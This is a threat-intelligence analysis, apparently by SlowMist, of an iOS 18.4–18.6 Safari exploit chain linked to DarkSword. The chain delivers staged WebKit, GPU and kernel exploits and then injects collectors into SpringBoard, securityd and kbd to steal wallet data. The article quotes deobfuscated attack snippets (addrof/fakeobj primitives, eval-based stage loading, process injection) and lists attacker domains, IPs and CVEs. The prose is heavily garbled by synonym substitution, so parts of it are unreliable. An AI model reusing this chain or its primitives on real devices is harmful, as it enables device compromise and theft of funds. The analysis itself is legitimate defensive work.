Threat Intelligence | iOS Safari DarkSword Wallet Asset Theft

After decoding the saved loader pattern, we confirmed that it targets iPhones working iOS 18.4–18.6.2 by way of Safari solely, finally concentrating on file, Keychain, and keyboard enter assortment, with three pockets purposes as its targets. This chain is extremely in line with the DarkSword iOS exploitation chain revealed by the Google Threat Intelligence Group (GTIG), corresponding to 6 CVEs and constituting n-day reuse.

This evaluation is predicated on the principle loader pattern at 1k[.]wyincc[.]com/lk[.]js and the snapshot of lk[.]wyincc[.]com/lk[.]js saved by urlscan. The evaluation of the six CVEs and post-exploitation capabilities is restricted to the /dist/sandbox.html chain.

This method just isn’t an remoted case. A report revealed by socket.dev throughout the identical interval disclosed that 13 malicious Packagist themes used an exploitation chain from WebKit to the kernel to steal gadget knowledge and pockets seed phrases, with overlaps between the CVEs used and people comparable to DarkSword on this report.

This evaluation is predicated on static proof. The samples weren’t executed, the iframe was not opened, and no response was handed to a browser or JavaScript engine. Remote downloads and synthesized C2 requests throughout the forensic investigation had been carried out below separate authorization, and no actual gadget knowledge was despatched. Descriptions of code capabilities on this article point out that the corresponding implementation or invocation path exists within the code, and don’t imply that the related operations have efficiently occurred on an actual gadget.

MistEye Response

MistEye is a Web3 menace intelligence and dynamic safety monitoring system independently developed by SlowMist. It integrates safety monitoring and intelligence aggregation capabilities to offer customers with real-time danger alerts and asset safety.

After receiving the pattern, MistEye reconstructed the whole assault chain, from gadget screening and hidden iframe supply to multi-stage exploitation and post-exploitation. It extracted the related area, IP, and malicious file IOCs, built-in the malicious packages and IOCs into the menace detection engine, and issued danger alerts and response suggestions to related customers.

The following is an in depth technical evaluation.

Decoding

The pattern comprises no line breaks and consists of a single line. Its obfuscation has three layers: a 1,025-item string array, an instantly invoked perform that shifts your complete array at startup, and customized Base64 and RC4 utilized to every string. The customized alphabet locations lowercase letters earlier than uppercase letters:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

The SHA-256 of the decoded output is 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. The decoder solely reads the textual content and performs its personal Base64/RC4 transformations with out evaluating any JavaScript.

The plaintext reveals a hard and fast configuration: the server is https[:]//lk[.]wyincc[.]com, the popular SDK endpoint is 13[.]248[.]210[.]49:36887, the fallback endpoint is 66[.]117[.]225[.]238:36887, the heartbeat interval is 20 seconds, device_source is 782391, and the consumer identifier is web-sdk V1.0. The configuration additionally comprises an RSA public key, with SHA-256 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681, which is later used to encrypt site visitors despatched to the SDK endpoints.

Three goal purposes within the configuration are value highlighting first: imToken (im.token.app), TokenPocket (com.world.pockets.ios), and TronLink (com.tronlink.hdwallet). The similar set of identifiers seems once more later within the keyboard assortment process.

Targeting and Delivery

The very first thing the decoded code does is decide who ought to obtain the payload. The 1k[.]wyincc[.]com loader pattern analyzed on this article makes use of /iPhone OS (d+)[_.](d+)/i to parse navigator.userAgent. After the obfuscated arithmetic is simplified, the model verify is equal to:

if (main !== 18 || minor < 4 || minor > 6) return;

In this loader pattern, solely iOS 18.4–18.6.x on an iPhone can move the verify. The browser verify additionally requires Safari/, Version/, and Mobile/… Safari to be current, whereas excluding Chrome, Firefox, Opera, and Edge on iOS (CriOS, FxiOS, OPiOS, EdgiOS), in addition to the embedded WebViews of WeChat, QQ, Telegram, Alipay, and quite a few social and information purposes. The common expression solely matches iPhone OS and doesn’t match the CPU OS utilized by iPad.

The loader snapshot really referenced by the web page saved by urlscan doesn’t take away the above department: iPhones working iOS 18.4–18.6.2 nonetheless proceed to /dist/sandbox.html. Compared with the loader pattern analyzed in the principle physique, it additionally makes use of iPhone|iPod for world gadget matching, thereby together with iPod contact, and provides a whitelist for iOS 15.2 to 17.1, handing these older variations and iPod contact over to an extra /group.html department.

Visitors who don’t move the screening are usually not merely ignored. The code hides all little one parts of the present web page and shows a multilingual immediate asking customers to repeat the handle and open it in Safari. This is a compatibility immediate, whereas additionally actively directing guests towards the browser surroundings required for the exploit.

Visitors who move the screening enter the execution lock and cooldown logic: after receiving pe_injected and chain_locked messages, the code writes the native state and cookie to forestall the identical gadget from being triggered repeatedly. The UID consists of a timestamp and random characters. The two message listeners solely verify occasion.knowledge.kind and don’t validate occasion.origin or occasion.supply, permitting different frames on the identical web page to forge these messages and set off the lock or cooldown in advance.

Delivery Chain

The following full supply chain evaluation applies to the /dist/sandbox.html department retained by each loaders. The loader snapshot really referenced by the web page moreover comprises a parallel /group.html department, however that path was blocked by the upstream WAF with HTTP 403, and its downstream content material was not obtained on this evaluation. Therefore, this text doesn’t embody this department within the DarkSword lineage, the six CVEs, or the information assortment capabilities described beneath.

After an iPhone working iOS 18.4–18.6.2 passes the screening, the loader constructs a hidden iframe with the next mounted handle template:

https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>

It has been confirmed that the configuration is handed from the preliminary loader to sandbox.html by way of the URL’s ?d= parameter. d comprises URL-encoded Base64 JSON, together with the present website’s origin, hostname, utm_source, session UID, in addition to the SDK endpoint, RSA public key, device_source, and goal pockets configuration. Because the UID and website fields are generated at runtime, there isn’t a distinctive mounted third-stage URL that may be reconstructed prematurely. To proceed monitoring the chain, we obtained sandbox.html below forensic situations utilizing the parameters reconstructed from the configuration.

The iframe is stored off-screen and invisible utilizing a chunk of styling. The sandbox web page then masses chunks/vendor.js by way of a dynamically created script component. vendor.js checks the model once more and branches accordingly: for iOS 18.6, it downloads runtime.js and wraps it right into a Blob Worker; for iOS 18.4 and 18.5, it downloads runtime-legacy.js, moreover retrieves and evals polyfill.js within the web page. The legacy RCE path makes use of postMessage to move between the web page context and Worker context and synchronize the exploitation state, coordinating the institution of RCE primitives and the handoff to subsequent levels; that is completely different from the pe_injected and chain_locked message listeners talked about above, that are solely answerable for execution lock/cooldown.

Each subsequent stage is downloaded solely after the previous stage succeeds. The total chain comprises two layers of sandbox escape, recognized within the code as SBX0 and SBX1: SBX0 strikes execution from the online content material course of to the GPU course of, whereas SBX1 then strikes it from the GPU course of to mediaplaybackd.

  • runtime.js (18.6) exploits CVE-2025–43529 (a reminiscence corruption attributable to a rubbish assortment flaw within the JavaScriptCore DFG JIT) along with CVE-2026–20700 (a bypass of dyld userland PAC pointer authentication) to ascertain JavaScriptCore/WebKit distant code execution (RCE) primitives: addrof for object addresses, fakeobj for cast objects, arbitrary learn/write, PAC (Pointer Authentication) dealing with, and native calls, after which synchronously obtains and evals framework.js. runtime-legacy.js and polyfill.js present the identical primitives for 18.4/18.5, comparable to CVE-2025–31277 (reminiscence corruption attributable to JavaScriptCore JIT optimization/kind confusion) and CVE-2026–20700.
// runtime.js (18.6) —— RCE primitives 
functionaddrof(object){ return HugeInt.fromDouble(p_rce.addrof(object)) }
functionfakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 are constructed on the identical fakeobj/scribble mechanism

// runtime.js —— SBX0 handoff (eval framework.js)
print("[RCE] Starting to load SBX0 sandbox escape...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)
  • framework.js implements SBX0 by exploiting CVE-2025–14174 (out-of-bounds reminiscence learn/write attributable to inadequate validation of particular operation parameters in ANGLE/WebGL), transferring execution from the online content material course of to the GPU course of. After the SBX0 SUCCEEDED department, it masses frequent.js; framework-legacy.js is the corresponding legacy model.
// framework.js —— SBX0 entry level
print("[SBX0] ======== sbx0_main.js eval began ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;
  • frequent.js implements SBX1 by exploiting CVE-2025–43510 (a copy-on-write (COW) reminiscence administration flaw within the XNU kernel), escaping from the GPU course of to the higher-privileged mediaplaybackd. It contains its XPC endpoint, IOSurface/Scaler path, and the sbx1sbx1_exp routine, after which masses app.js; common-legacy.js reuses the present app.js.
// frequent.js —— mediaplaybackd XPC anchor and privilege escalation handoff for SBX1
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
functionspawn_pe(){ LOG("Spawning PE...."); let pe_stage1_js_data_array = newUint8Array([...]); }
  • app.js exploits CVE-2025–43520 (a reminiscence corruption attributable to a kernel race situation within the XNU digital file system (VFS)) to construct kernel learn/write and privilege escalation primitives. It contains kernel learn/write wrappers, MigFilterBypass, the sandbox extension applySandboxEscape, crash report deletion, in addition to coordination logic for acquiring three plugins and injecting them into three system processes. The three plugins are sync.js, auth.js, and enter.js, and three process scripts corresponding one-to-one with the three varieties of plugins had been additionally recovered.
// app.js —— kernel learn/write and privilege escalation entry level
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
functionpe_v1() { /* ... */ }

Each of the three injection paths initiates a plaintext HTTP GET to retrieve a plugin, after which passes the response to the corresponding course of:

var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
if (inject.inject()) { ... }

The three targets are SpringBoard (sync.js), securityd (auth.js), and kbd (enter.js), respectively; the three recovered process scripts correspond to those three varieties of plugins and are coordinated by the code to inject the duty brokers. SBX0 SUCCEEDED and SBX1 SUCCEEDED within the code are standing department strings, not profitable execution logs that we noticed.

One extra be aware relating to the supply: lk[.]wyincc[.]com returned HTTP 403 for the legacy department sources (runtime-legacy.js, polyfill.js, framework-legacy.js, common-legacy.js), so we obtained these 4 recordsdata from the related payload internet hosting node at 1k[.]wyincc[.]com. This node had beforehand been verified to be byte-for-byte equivalent to the host really referenced by the web page for the shared vendor.js and runtime.js responses. However, we don’t declare that these legacy recordsdata are byte-for-byte equal to the unavailable lk responses. The two conditional sources, powercuff_light.js and chain_status_overlay.js, returned 403 from the host really referenced by the web page and 404 HTML from the related payload internet hosting node, so there have been no analyzable scripts.

DarkSword Lineage

There are a number of distinctive traces within the code that match a publicly documented instrument. app.js comprises the remark “If iOS >= 18.4 we apply migbypass in an effort to bypass autobox restrictions”, in addition to the MigFilterBypass class, Chain.runPE() adopted by Sandbox.applySandboxEscape(), deletion of the systemgroup.com.apple.osanalytics/DiagnosticReports/ listing, and a reference to the startSandworm instrument. The model branches (18.4/18.5 and 18.6) and the stage duties of SBX0 → SBX1 → PE are additionally in line with the DarkSword evaluation revealed by GTIG. Apple safety advisories individually affirm the corresponding CVEs and glued variations.

The deobfuscated app.js retains a number of straight identifiable traces:

// app.js —— migbypass model branching (DarkSword-specific remark)
// If iOS >= 18.4 we apply migbypass in an effort to bypass autobox restrictions
if (ver.main == 24 && ver.minor >= 4) { /* migbypass */ }

// Chain kernel learn/write wrappers embedded in MigFilterBypassThread.js
staticrunPE() { /* ... */ }
staticgetKernelBase() { /* ... */ }
staticread(srcAddr, dst, len) { /* ... */ }
staticwrite(dst, src, len) { /* ... */ }

// startSandworm instrument reference (retained within the supply as a remark)
// let baseKernel = startSandworm();

Based on this, we map the native levels to the six CVEs:

Similar Posts